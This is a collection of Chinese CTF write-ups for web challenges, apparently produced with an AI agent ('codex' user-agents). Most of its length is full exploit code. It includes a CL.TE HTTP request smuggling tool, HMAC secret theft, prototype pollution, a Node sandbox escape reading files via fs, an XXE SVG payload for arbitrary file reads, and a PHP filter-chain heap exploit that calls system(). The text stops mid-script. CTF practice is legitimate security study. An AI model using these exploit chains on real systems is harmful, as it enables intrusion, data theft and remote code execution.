1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import reimport requestsBASE_URL = "http://5000-a87a5eda-eae2-49fb-85f7-69bfc7adbdfb.challenge.ctfplus.cn" def main (): resp = requests.post( f"{BASE_URL} /run" , json={"filename" : "/flag" }, timeout=15 , ) resp.raise_for_status() data = resp.json() output = data.get("output" , "" ) print ("[+] Raw output:" ) print (output) m = re.search(r"(?i)(?:xmctf|flag)\{[^}\n]+\}" , output) if not m: print ("[-] flag not found" ) return print ("[+] FLAG:" , m.group(0 )) if __name__ == "__main__" : main()
运行后预期可以看到类似输出:
1 2 3 4 5 6 7 8 9 [+] Raw output: Launching sandbox... ok File "/app/run.py", line 1 xmctf{699f4568de00f2df35f98005567398d3} ^ SyntaxError: invalid decimal literal [+] FLAG: xmctf{699f4568de00f2df35f98005567398d3}
最终 flag xmctf{699f4568de00f2df35f98005567398d3}
WEB_LFischl_Not_a_Node_AI 题目分析 本题的关键是发现运行环境暴露了内部符号表,拿到 read 这样的底层原语后,直接读取 /flag 即可。
解题过程 关键分析
首先通过简单的函数探测可用的全局对象。创建 Edge Function 并返回 __runtime 的所有属性键:
1 2 3 4 5 6 7 8 export default { async fetch (request ) { const runtimeKeys = Object .getOwnPropertyNames (__runtime); return new Response (JSON .stringify ({ runtimeKeys }), { headers : { 'Content-Type' : 'application/json' } }); } }
返回结果:
1 2 3 4 5 6 { "runtimeKeys" : [ "hash" , "strlen" , "platform" , "perf" , "encoding" , "_debug" , "_secrets" , "_internal" ] }
发现 _debug, _secrets, _internal 三个隐藏对象。
之后进一步查看每个对象的属性:
1 2 3 4 5 6 7 8 9 10 11 12 13 export default { async fetch (request ) { const result = { secretsProps : Object .getOwnPropertyNames (__runtime._secrets ), debugProps : Object .getOwnPropertyNames (__runtime._debug ), internalProps : Object .getOwnPropertyNames (__runtime._internal ), encodingProps : Object .getOwnPropertyNames (__runtime.encoding ) }; return new Response (JSON .stringify (result, null , 2 ), { headers : { 'Content-Type' : 'application/json' } }); } }
返回:
1 2 3 4 5 6 { "secretsProps" : [ "get" , "list" ] , "debugProps" : [ "enabled" , "trace" , "dump" , "inspect" ] , "internalProps" : [ "debug" , "lib" ] , "encodingProps" : [ "base64Encode" , "base64Decode" , "hexEncode" , "hexDecode" ] }
_secrets 提供了 list() 和 get(key),但调用时提示权限不足。
_internal.lib 是一个对象,包含 symbols 属性。
检查 __runtime._internal.lib.symbols 的内容:
1 2 const symbols = __runtime._internal ?.lib ?.symbols ;
这两个混淆名对应 “read” 和 “list”(通过十六进制转换 0x72656164 → ASCII 为 read,0x6c697374 → list)。它们应该是底层文件操作函数。
首先用 list 函数列出当前目录:
1 2 const listFn = symbols['_0x6c697374' ];const dirList = listFn ('.' );
输出:
1 2 3 4 5 drwxr-xr-x 2 root root 4096 Jan 15 03:22 . drwxr-xr-x 18 root root 4096 Jan 15 03:22 .. -rw-r--r-- 1 root root 217 Jan 15 03:22 runtime.conf -rw------- 1 root root 64 Jan 15 03:22 .edge_token -rw-r--r-- 1 root root 1024 Jan 15 03:22 manifest.json
目录中只有配置文件,没有明显的 flag 文件。尝试用 read 函数读取 /flag
1 2 3 const readFn = symbols['_0x72656164' ];const pathBuf = new TextEncoder ().encode ('/flag' );const content = readFn (pathBuf);
读取 /flag 得到 flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 export default { async fetch (request ) { const symbols = __runtime._internal ?.lib ?.symbols ; const readFn = symbols['_0x72656164' ]; const pathBuf = new TextEncoder ().encode ('/flag' ); try { const flag = readFn (pathBuf); return new Response (flag, { headers : { 'Content-Type' : 'text/plain' } }); } catch (e) { return new Response (e.message , { status : 500 }); } } }
最终 flag 现有材料已经给出读 /flag 的方法,但没有保留最终 flag 文本。
WEB_LFischl_Polyglots_Paradox_AI 题目分析 本题的关键不是单点模板注入,而是先通过请求走私摸到内部接口,再拿到配置与 secret,最后关闭防护后读取 /flag。
解题过程 关键分析
题目的名字叫 Polyglot's Paradox,首页还写着:
1 This system speaks multiple languages. Can you find where they disagree?
再看响应头:
1 2 X-Proxy: Paradox-Gateway/2.0 X-Parser: content-length-only
这两个信息实际上已经在很明显地暗示:
前面有代理,后面有后端
两层解析器对请求边界的理解不一致
大概率是 HTTP Request Smuggling
所以一开始就不要把精力花在普通参数 fuzz 或者源码猜测上,而是优先确认:
有没有被代理挡住的内部接口
能不能通过请求走私绕过代理
先摸公开接口
首页是:
返回里提示先看:
访问后能看到公开接口列表:POST /api/sandbox/execute、GET /debug/prototype、GET /debug/config
同时它还明确说了一句:
1 There are internal endpoints that the proxy will not let you reach... directly.
这句非常关键,说明:
确实存在内部接口
这些接口是被代理层拦的
“直接访问不行”意味着可能可以“间接访问”
先验证被代理拦住的内部路径
这里我先试了一些典型路径,比如:
直连返回:
1 2 3 4 5 { "error" : "Access denied" , "message" : "This path is restricted by the proxy gateway." , "hint" : "The proxy and the backend don't always agree on where a request ends..." }
这个返回基本已经是把正解贴脸上了:
/internal/config 确实存在价值
是代理在挡
题眼就是“where a request ends”
所以接下来核心问题只剩如何让代理和后端对“请求结束位置”产生分歧
用 CL.TE 走私请求
我这里用的是经典 CL.TE 变种:
代理优先看 Content-Length
后端优先看 Transfer-Encoding: chunked
构造方式是:
第一条外层请求发到公开接口 /api/sandbox/execute
同时带上 Transfer-Encoding: chunked 和更大的 Content-Length
对后端来说,第一条请求在 0\r\n\r\n 就结束了
但代理还会继续把后面的内容当作同一条请求体转发
这样后面的内容就会被后端当作“下一条请求”解析
最小探针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import argparseimport jsonimport socketimport ssldef recv_all (sock, timeout=2.0 ): sock.settimeout(timeout) chunks = [] while True : try : data = sock.recv(4096 ) except socket.timeout: break if not data: break chunks.append(data) return b"" .join(chunks) def build_request (host, port, public_path, smuggled_request_bytes ): first_body = b'E\r\n{"code":"1+1"}\r\n0\r\n\r\n' content_length = len (first_body) + len (smuggled_request_bytes) request = ( f"POST {public_path} HTTP/1.1\r\n" f"Host: {host} :{port} \r\n" "User-Agent: codex-smuggle-probe/1.0\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" f"Content-Length: {content_length} \r\n" "Connection: keep-alive\r\n" "\r\n" ).encode() + first_body + smuggled_request_bytes return request def build_smuggled_get (host, port, path ): return ( f"GET {path} HTTP/1.1\r\n" f"Host: {host} :{port} \r\n" "Connection: close\r\n" "\r\n" ).encode() def build_smuggled_post (host, port, path, json_body, extra_headers=None ): body = json.dumps(json_body, separators=("," , ":" )).encode() header_lines = "" for key, value in (extra_headers or {}).items(): header_lines += f"{key} : {value} \r\n" return ( f"POST {path} HTTP/1.1\r\n" f"Host: {host} :{port} \r\n" "Content-Type: application/json\r\n" f"Content-Length: {len (body)} \r\n" f"{header_lines} " "Connection: close\r\n" "\r\n" ).encode() + body def main (): parser = argparse.ArgumentParser() parser.add_argument("--host" , default="nc1.ctfplus.cn" ) parser.add_argument("--port" , type =int , default=44529 ) parser.add_argument("--public-path" , default="/api/sandbox/execute" ) parser.add_argument("--smuggled-path" , default="/internal/config" ) parser.add_argument("--smuggled-method" , choices=["GET" , "POST" ], default="GET" ) parser.add_argument("--smuggled-json" , help ="JSON body for smuggled POST request" ) parser.add_argument("--smuggled-headers-json" , help ="JSON object of extra headers for smuggled POST request" ) parser.add_argument("--tls" , action="store_true" ) args = parser.parse_args() if args.smuggled_method == "GET" : smuggled = build_smuggled_get(args.host, args.port, args.smuggled_path) else : payload = json.loads(args.smuggled_json or "{}" ) extra_headers = json.loads(args.smuggled_headers_json or "{}" ) smuggled = build_smuggled_post(args.host, args.port, args.smuggled_path, payload, extra_headers) request = build_request(args.host, args.port, args.public_path, smuggled) sock = socket.create_connection((args.host, args.port), timeout=10 ) if args.tls: ctx = ssl.create_default_context() sock = ctx.wrap_socket(sock, server_hostname=args.host) with sock: sock.sendall(request) response = recv_all(sock) print (response.decode("utf-8" , errors="replace" )) if __name__ == "__main__" : main()
它做的事情就是先正常发一条可执行的 chunked 请求,然后在后面拼上一条新的 HTTP 请求
如果 smuggle 的第二条请求是GET /internal/config HTTP/1.1,那么正常直连时拿到的是代理返回的 403走私后拿到的是后端返回的 404.这个差异说明请求确实已经绕过代理 ACL 到了后端,本题核心就是 request smuggling
找真正存在的内部接口
既然已经能 smuggle 到后端,下一步就是找内部路径。这里做了一个小枚举,重点试题面里明显提到的几类:config、admin、auth、secret、flag。结果很快发现/internal/admin是活的,而且不是 404。走私访问 /internal/admin 后,服务端几乎把后面怎么玩都写出来了:
1 2 3 4 5 6 7 { "next_steps" : [ "GET /internal/secret-fragment" , "POST /internal/config" , "POST /internal/sandbox/execute" ] }
到这里链路就已经很明确了:
1 smuggle -> internal/admin -> secret-fragment -> config -> sandbox -> flag
拿 HMAC secret
继续 smuggle:
1 GET /internal/secret-fragment
返回中有 secret 的碎片:
1 2 3 4 5 6 7 8 [ { "index" : 0 , "value" : "z3_w" } , { "index" : 1 , "value" : "0nt_" } , { "index" : 2 , "value" : "A_gr" } , { "index" : 3 , "value" : "i1fr" } , { "index" : 4 , "value" : "1e0d" } , { "index" : 5 , "value" : "!!!" } ]
按顺序拼接后得到:
服务端还贴心给了一个 MD5 校验值,核对后完全一致。
这说明之后所有内部 POST 都可以自己签:
1 HMAC-SHA256(secret, timestamp + ":" + nonce + ":" + rawBody)
虽然已经能签名访问内部 /internal/sandbox/execute,但这时候直接执行代码,仍然会遇到沙箱限制。
最初测试时有几个现象,公开 /api/sandbox/execute 中,1+1 能跑,一旦碰到 Object、globalThis、process 这类字样,就会 Blocked。这说明公开执行接口前面还有 AST/WAF
而题面又单独给了两个公开调试接口:/debug/config、/debug/prototype,这通常意味着配置很可能可以影响 WAF / sandbox 行为,原型污染状态很可能会被显式显示出来。所以正确顺序不是直接怼沙箱,而是先改配置,之后再观察调试页变化,再回去打内部 sandbox
利用 /internal/config 关防护
签名后打这个:
1 2 POST /internal/config Content-Type : application/json
body 最关键的是:
1 2 3 4 5 6 7 8 9 10 11 { "features" : { "astWaf" : false , "sandboxHardening" : false } , "__proto__" : { "polluted" : "yes" , "isAdmin" : true , "rce" : "maybe" } }
果然,打完后再看:
状态会变成类似:
1 2 3 4 5 6 7 8 9 { "status" : { "polluted" : "yes" , "isAdmin" : true , "rce" : "maybe" } , "wafStatus" : "DEGRADED" , "sandboxStatus" : "DEGRADED" }
这里得到两个重要结论:/internal/config 确实会把 JSON 合并进全局配置,merge 点存在 __proto__ 原型污染,WAF 和 sandbox 状态确实已经降级
关掉 sandboxHardening 后,下面这条经典逃逸链就能通:
1 this .constructor .constructor ("return process.version" )( )
成功返回v20.20.0,这一步说明这可以直接 require('fs'),所以在确认拿到宿主 process 之后,最短路径就是直接:
1 process.mainModule .require ('fs' ).readFileSync ('/flag' , 'utf8' )
最终内部执行 payload 是:
1 2 3 this .constructor .constructor ( "return process.mainModule.require('fs').readFileSync('/flag','utf8')" )( )
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 import argparseimport hashlibimport hmacimport jsonimport reimport socketimport timeDEFAULT_HOST = "nc1.ctfplus.cn" DEFAULT_PORT = 41356 FLAG_REGEX = re.compile (r"[A-Za-z0-9_]+\{[^}\r\n]+\}" ) def recv_all (sock, timeout=2.0 ): sock.settimeout(timeout) chunks = [] while True : try : data = sock.recv(4096 ) except socket.timeout: break if not data: break chunks.append(data) return b"" .join(chunks) def split_http_responses (raw_bytes ): text = raw_bytes.decode("utf-8" , errors="replace" ) return re.split(r"(?=HTTP/1\.1 )" , text)[1 :] def parse_http_response (response_text ): header_text, _, body = response_text.partition("\r\n\r\n" ) status_line = header_text.splitlines()[0 ] if header_text else "" match = re.match (r"HTTP/1\.1\s+(\d+)" , status_line) status_code = int (match .group(1 )) if match else None parsed_body = body try : parsed_body = json.loads(body) except Exception: pass return status_code, header_text, parsed_body class PolyglotParadoxExploit : def __init__ (self, host, port ): self .host = host self .port = port self .secret = None def _smuggle (self, raw_smuggled_request ): first_body = b'E\r\n{"code":"1+1"}\r\n0\r\n\r\n' content_length = len (first_body) + len (raw_smuggled_request) request = ( f"POST /api/sandbox/execute HTTP/1.1\r\n" f"Host: {self.host} :{self.port} \r\n" "User-Agent: codex-polyglot-oneshot/1.0\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" f"Content-Length: {content_length} \r\n" "Connection: keep-alive\r\n" "\r\n" ).encode() + first_body + raw_smuggled_request sock = socket.create_connection((self .host, self .port), timeout=10 ) with sock: sock.sendall(request) raw = recv_all(sock) responses = split_http_responses(raw) return [parse_http_response(resp) for resp in responses] def smuggled_get_json (self, path ): raw = ( f"GET {path} HTTP/1.1\r\n" f"Host: {self.host} :{self.port} \r\n" "Connection: close\r\n" "\r\n" ).encode() responses = self ._smuggle(raw) return responses[-1 ] def _sign_body (self, body_text, nonce, timestamp_ms ): material = f"{timestamp_ms} :{nonce} :{body_text} " .encode() return hmac.new(self .secret.encode(), material, hashlib.sha256).hexdigest() def smuggled_post_json (self, path, payload, signed=False ): body_text = json.dumps(payload, separators=("," , ":" )) headers = [ f"POST {path} HTTP/1.1" , f"Host: {self.host} :{self.port} " , "Content-Type: application/json" , f"Content-Length: {len (body_text.encode())} " , ] if signed: nonce = f"codex-{int (time.time() * 1000 )} " timestamp_ms = str (int (time.time() * 1000 )) token = self ._sign_body(body_text, nonce, timestamp_ms) headers.extend( [ f"X-Internal-Token: {token} " , f"X-Timestamp: {timestamp_ms} " , f"X-Nonce: {nonce} " , ] ) headers.extend(["Connection: close" , "" , body_text]) raw = "\r\n" .join(headers).encode() responses = self ._smuggle(raw) return responses[-1 ] def collect_secret (self ): status, _, body = self .smuggled_get_json("/internal/secret-fragment" ) if status != 200 or not isinstance (body, dict ): raise RuntimeError(f"Failed to fetch secret fragments: {body} " ) fragments = sorted (body["fragments" ], key=lambda item: item["index" ]) secret = "" .join(item["value" ] for item in fragments) md5_expected = body["verification" ]["md5" ] md5_actual = hashlib.md5(secret.encode()).hexdigest() if md5_actual != md5_expected: raise RuntimeError(f"Secret verification failed: {md5_actual} != {md5_expected} " ) self .secret = secret return secret def update_internal_config (self, payload ): status, _, body = self .smuggled_post_json("/internal/config" , payload, signed=True ) if status != 200 or not isinstance (body, dict ) or not body.get("message" ): raise RuntimeError(f"Config update failed: {body} " ) return body def execute_internal_code (self, code ): status, _, body = self .smuggled_post_json("/internal/sandbox/execute" , {"code" : code}, signed=True ) if status != 200 or not isinstance (body, dict ): raise RuntimeError(f"Internal execute failed: {body} " ) if not body.get("success" ): raise RuntimeError(f"Internal execute error: {body} " ) return body["result" ] def parse_args (): parser = argparse.ArgumentParser(description="One-shot exploit for Polyglot's Paradox" ) parser.add_argument("--host" , default=DEFAULT_HOST, help ="Target host" ) parser.add_argument("--port" , type =int , default=DEFAULT_PORT, help ="Target port" ) return parser.parse_args() def main (): args = parse_args() exploit = PolyglotParadoxExploit(args.host, args.port) print (f"[+] Target: {args.host} :{args.port} " ) admin_status, _, admin_body = exploit.smuggled_get_json("/internal/admin" ) print (f"[+] Smuggled /internal/admin: HTTP {admin_status} " ) if isinstance (admin_body, dict ) and admin_body.get("message" ): print (f"[+] Internal admin says: {admin_body['message' ]} " ) secret = exploit.collect_secret() print (f"[+] HMAC secret: {secret} " ) config_payload = { "features" : { "astWaf" : False , "sandboxHardening" : False , }, "__proto__" : { "polluted" : "yes" , "isAdmin" : True , "rce" : "maybe" , }, } config_result = exploit.update_internal_config(config_payload) print ("[+] Updated internal config" ) print (json.dumps(config_result, ensure_ascii=True , indent=2 )) js = ( 'this.constructor.constructor("return ' "process.mainModule.require('fs').readFileSync('/flag','utf8')" '")()' ) flag_text = exploit.execute_internal_code(js) print (f"[+] Raw flag result: {flag_text} " ) match = FLAG_REGEX.search(flag_text) if match : print (f"[+] Flag: {match .group(0 )} " ) return 0 print ("[-] Flag pattern not found" ) return 1 if __name__ == "__main__" : raise SystemExit(main())
最终 flag XMCTF{ce799851-3cac-496b-ae9b-13a9adf702b5}
WEB_LFischl_头像上传器 _AI 题目分析 本题先借助 XXE 读取源码和容器脚本,再顺着文件读取到 RCE 的链路打到 /readflag,核心在于上传点和 php://filter 的组合利用。
解题过程 初始探测
先正常注册、登录
然后上传一个包含外部实体的 SVG:
1 2 3 4 5 6 7 8 <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname" > ]> <svg xmlns ="http://www.w3.org/2000/svg" > <text > &xxe; </text > </svg >
把这个文件设置成头像后访问 /api/avatar.php, 返回内容中 <text> 里出现了 base64 数据, 解码后拿到主机名:
1 dep-d925d23b-653b-454a-92c2-a666ab4c5178-9bf887cfb-zkf2k
说明 XXE 已经成立.
继续读取 /etc/passwd, 可以稳定读到:
1 2 3 4 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... www-data:x:33:33:www-data:/var/www:/usr/sbin:/usr/sbin/nologin
这一步已经可以确认是一个稳定的任意文件读取.
读源码定位漏洞点
用 XXE 直接把源码拉下来, 最关键的是 api/avatar.php、avatar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php declare (strict_types=1 );require __DIR__ . '/bootstrap.php' ;if ($_SERVER ['REQUEST_METHOD' ] !== 'GET' ) { json_response (['ok' => false , 'error' => 'Only GET' ], 405 ); } $user = require_login ();$avatar = (string )($user ['avatar_path' ] ?? '' );if ($avatar === '' ) { json_response (['ok' => false , 'error' => '未设置头像。' ], 404 ); } if (!allowed_avatar_name ($avatar )) { json_response (['ok' => false , 'error' => '头像文件名不合法。' ], 400 ); } $path = dirname (__DIR__ ) . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $avatar ;if (!is_file ($path )) { json_response (['ok' => false , 'error' => '头像文件不存在。' ], 404 ); } $ext = strtolower (pathinfo ($avatar , PATHINFO_EXTENSION));if ($ext === 'svg' ) { header ('Content-Type: image/svg+xml; charset=utf-8' ); $dom = new DOMDocument (); $dom ->resolveExternals = true ; $dom ->substituteEntities = true ; $dom ->load ($path , LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR); echo $dom ->saveXML (); exit ; }
这里已经把洞写死了,用户可控上传 SVG,用户可控把自己头像指向这个 SVG,服务端会重新用 libxml 解析它,外部实体解析和替换都被打开
upload.php中有:
1 2 3 4 5 6 $orig = (string )($file ['name' ] ?? '' );$ext = strtolower (pathinfo ($orig , PATHINFO_EXTENSION));$allowed = ['png' , 'jpg' , 'jpeg' , 'gif' , 'webp' , 'svg' ];if (!in_array ($ext , $allowed , true )) { json_response (['ok' => false , 'error' => '不支持的文件类型。' ], 400 ); }
这里说明题目的“白名单上传”只做了扩展名校验, 并没有真正消除 SVG 带来的服务端解析风险.
环境继续摸底
XXE 稳了以后, 下一步就是把环境尽量读全:
/etc/nginx/nginx.conf
/usr/local/etc/php-fpm.d/www.conf
/usr/local/etc/php-fpm.d/docker.conf
/proc/net/tcp
/var/www/html/index.php
/var/www/html/api/*.php
/usr/local/bin/docker-php-entrypoint
/readflag
其中最有价值的是 entrypoint.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/bin/bash if [[ -e /flag.sh ]]; then echo "[+] Init flag.sh" source /flag.sh rm /flag.sh && unset FLAG fi if [[ -e /start.sh ]]; then echo "[+] Init start.sh" source /start.sh rm /start.sh fi php-fpm & nginx & echo "Running..." tail -F /var/log/nginx/*.log
这说明容器启动时确实会接触 flag 相关逻辑,/flag.sh 会在启动时被 source,启动后 flag 脚本会被删掉,运行阶段我们更现实的目标是 /readflag
直接用 XXE 把 /readflag 二进制拉回本地, 然后反汇编. 关键反汇编如下:
1 2 3 4 5 6 7 8 0000000000401705 <main>: 40170d: bf 00 00 00 00 mov $0x0,%edi 401712: e8 29 76 03 00 callq 438d40 <__setuid> 401717: 48 8d 05 e6 88 07 00 lea 0x788e6(%rip),%rax # "/flag" 401721: 48 8d 05 de 88 07 00 lea 0x788de(%rip),%rax # "r" 40172b: e8 90 eb 00 00 callq 4102c0 <_IO_new_fopen> 401797: e8 34 eb 00 00 callq 4102d0 <_IO_fread> 4017b2: e8 59 89 00 00 callq 40a110 <_IO_printf>
rodata 里也能直接看到/flag
也就是说 /readflag 的逻辑非常直接:
setuid(0)
fopen("/flag", "r")
fread
printf("%s")
所以只要能 RCE, 没必要自己搞复杂提权链, 直接执行 /readflag 即可.
从文件读到 RCE
测试发现下面这种写法是可以被正常处理的:
1 php://filter/convert.base64-encode/resource=php://filter/string.rot13/resource=/etc/hostname
所以把过滤链改写成嵌套形式即可:
1 php://filter/f1/resource=php://filter/f2/resource=php://filter/f3/resource=data:...
这就是本题真正打通 RCE 的关键转折点.
Nested CNEXT 的利用思路
整体利用链如下:
用 XXE 读取 /proc/self/maps
定位 zend_mm_heap
用 XXE 下载远端 libc
本地解析 system / malloc / realloc 地址
构造 CNEXT 堆利用链, 覆盖 zend_mm_heap.custom_heap
让 PHP 在后续内存操作中调用 system(<命令>)
命令非常简单:
1 /readflag > /var/www/html/uploads/<随机文件名>
后面再补一个:
这样做有两个好处:
避免后续随机内存内容再次触发 system() 造成不可控行为
看到 502 Bad Gateway 时我们反而知道命令大概率已经跑过了
1 当前环境复测信息
单文件脚本在当前环境输出如下:
1 2 3 4 5 6 7 8 9 10 11 12 [*] base url: http://80-d925d23b-653b-454a-92c2-a666ab4c5178.challenge.ctfplus.cn [*] creds : u718752/Passw0rd! [+] XXE confirmed, hostname: dep-d925d23b-653b-454a-92c2-a666ab4c5178-9bf887cfb-zkf2k [*] heap : 0x7f2321a00040 [*] libc map : 0x7f232470c000 /lib/x86_ 64-linux-gnu/libc-2.31.so [*] system : 0x7f2324754e50 [*] malloc : 0x7f23247960f0 [*] realloc : 0x7f2324796980 [*] outfile : fds94njf2 [*] path len : 1229 [*] trigger : 502 [+] flag: XMCTF{b3b92468-fc18-4970-8042-33ee169072dc}
如果这里看到 502 不代表失败恰恰是一个正反馈,这说明system() 已经执行了我们的命令,命令最后主动 kill -9 $PPID,当前 worker 被打掉, Nginx 读上游头失败所以客户端看到 502 Bad Gateway。只要随后轮询 /uploads/<随机文件名> 能拿到内容, 就说明 RCE 成功.
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 import base64import osimport randomimport reimport stringimport structimport tempfileimport timeimport zlibfrom dataclasses import dataclassimport requestsfrom elftools.elf.elffile import ELFFilefrom elftools.elf.sections import SymbolTableSectionBASE_URL = os.environ.get( "BASE_URL" , "http://80-d925d23b-653b-454a-92c2-a666ab4c5178.challenge.ctfplus.cn" , ).rstrip("/" ) USERNAME = os.environ.get( "CTF_USERNAME" , "u" + "" .join(random.choice(string.digits) for _ in range (6 )), ) PASSWORD = os.environ.get("CTF_PASSWORD" , "Passw0rd!" ) BUG = "劄" .encode("utf-8" ) HEAP_SIZE = 2 * 1024 * 1024 def randstr (prefix: str = "" ) -> str : alphabet = string.ascii_lowercase + string.digits return prefix + "" .join(random.choice(alphabet) for _ in range (8 )) def log (*args ) -> None : print (*args) def p64 (value: int ) -> bytes : return struct.pack("<Q" , value) def compress_raw (data: bytes ) -> bytes : return zlib.compress(data, 9 )[2 :-4 ] def b64 (data: bytes ) -> bytes : return base64.b64encode(data) def qpe (data: bytes ) -> bytes : return "" .join(f"={byte:02x} " for byte in data).upper().encode() def chunked_chunk (data: bytes , size: int = None ) -> bytes : if size is None : size = len (data) + 8 keep = len (data) + len (b"\n\n" ) prefix = f"{len (data):x} " .rjust(size - keep, "0" ) return prefix.encode() + b"\n" + data + b"\n" def compressed_bucket (data: bytes ) -> bytes : return chunked_chunk(data, 0x8000 ) def ptr_bucket (*ptrs: int , size: int = None ) -> bytes : if size is not None : assert len (ptrs) * 8 == size bucket = b"" .join(p64(ptr) for ptr in ptrs) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) return compressed_bucket(bucket) @dataclass class Region : start: int stop: int permissions: str path: str @property def size (self ) -> int : return self .stop - self .start class Client : def __init__ (self, base_url: str ) -> None : self .base_url = base_url.rstrip("/" ) self .session = requests.Session() def register_and_login (self ) -> None : self .session.post( f"{self.base_url} /api/register.php" , json={"username" : USERNAME, "password" : PASSWORD}, timeout=10 , ) response = self .session.post( f"{self.base_url} /api/login.php" , json={"username" : USERNAME, "password" : PASSWORD}, timeout=10 , ) if not response.ok or '"ok":true' not in response.text: raise RuntimeError(f"login failed: {response.status_code} {response.text} " ) def upload (self, filename: str , content: bytes , mime: str ) -> str : response = self .session.post( f"{self.base_url} /api/upload.php" , files={"file" : (filename, content, mime)}, timeout=20 , ) response.raise_for_status() return response.json()["name" ] def set_avatar (self, avatar_name: str ) -> None : response = self .session.post( f"{self.base_url} /api/update_profile.php" , json={"display_name" : USERNAME, "avatar_name" : avatar_name}, timeout=10 , ) response.raise_for_status() def make_svg (self, path: str ) -> str : path = ( path.replace("&" , "&" ) .replace("\"" , """ ) .replace("<" , "<" ) .replace(">" , ">" ) ) return f"""<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "{path} "> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text>&xxe;</text> </svg> """ def send_entity (self, path: str ) -> requests.Response: avatar_name = self .upload("xxe.svg" , self .make_svg(path).encode(), "image/svg+xml" ) self .set_avatar(avatar_name) return self .session.get(f"{self.base_url} /api/avatar.php" , timeout=30 ) def read_bytes (self, path: str ) -> bytes : wrapped = f"php://filter/convert.base64-encode/resource={path} " response = self .send_entity(wrapped) chunks = re.findall(rb"<text>(.*?)</text>" , response.content, re.S) for chunk in chunks: chunk = re.sub(rb"\s+" , b"" , chunk) try : return base64.b64decode(chunk) except Exception: continue return b"" def read_text (self, path: str ) -> str : return self .read_bytes(path).decode("utf-8" , "ignore" ) def get_regions (client: Client ) -> list [Region]: maps = client.read_text("/proc/self/maps" ) pattern = re.compile (r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)" ) regions: list [Region] = [] for line in maps.splitlines(): match = pattern.match (line) if not match : continue start = int (match .group(1 ), 16 ) stop = int (match .group(2 ), 16 ) permissions = match .group(3 ) path = match .group(4 ) if "/" in path or "[" in path: path = path.rsplit(" " , 1 )[-1 ] else : path = "" regions.append(Region(start, stop, permissions, path)) return regions def find_main_heap (regions: list [Region] ) -> int : heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed (regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE - 1 ) == 0 and region.path in ("" , "[anon:zend_alloc]" ) ] if not heaps: raise RuntimeError("failed to find main heap" ) return heaps[0 ] def find_libc_region (regions: list [Region] ) -> Region: for region in regions: if "libc-" in region.path or "libc.so" in region.path: return region raise RuntimeError("failed to locate libc mapping" ) def get_symbol_offsets (path: str ) -> tuple [int , int , int ]: with open (path, "rb" ) as handle: elf = ELFFile(handle) symbols = {} for section in elf.iter_sections(): if not isinstance (section, SymbolTableSection): continue for symbol in section.iter_symbols(): 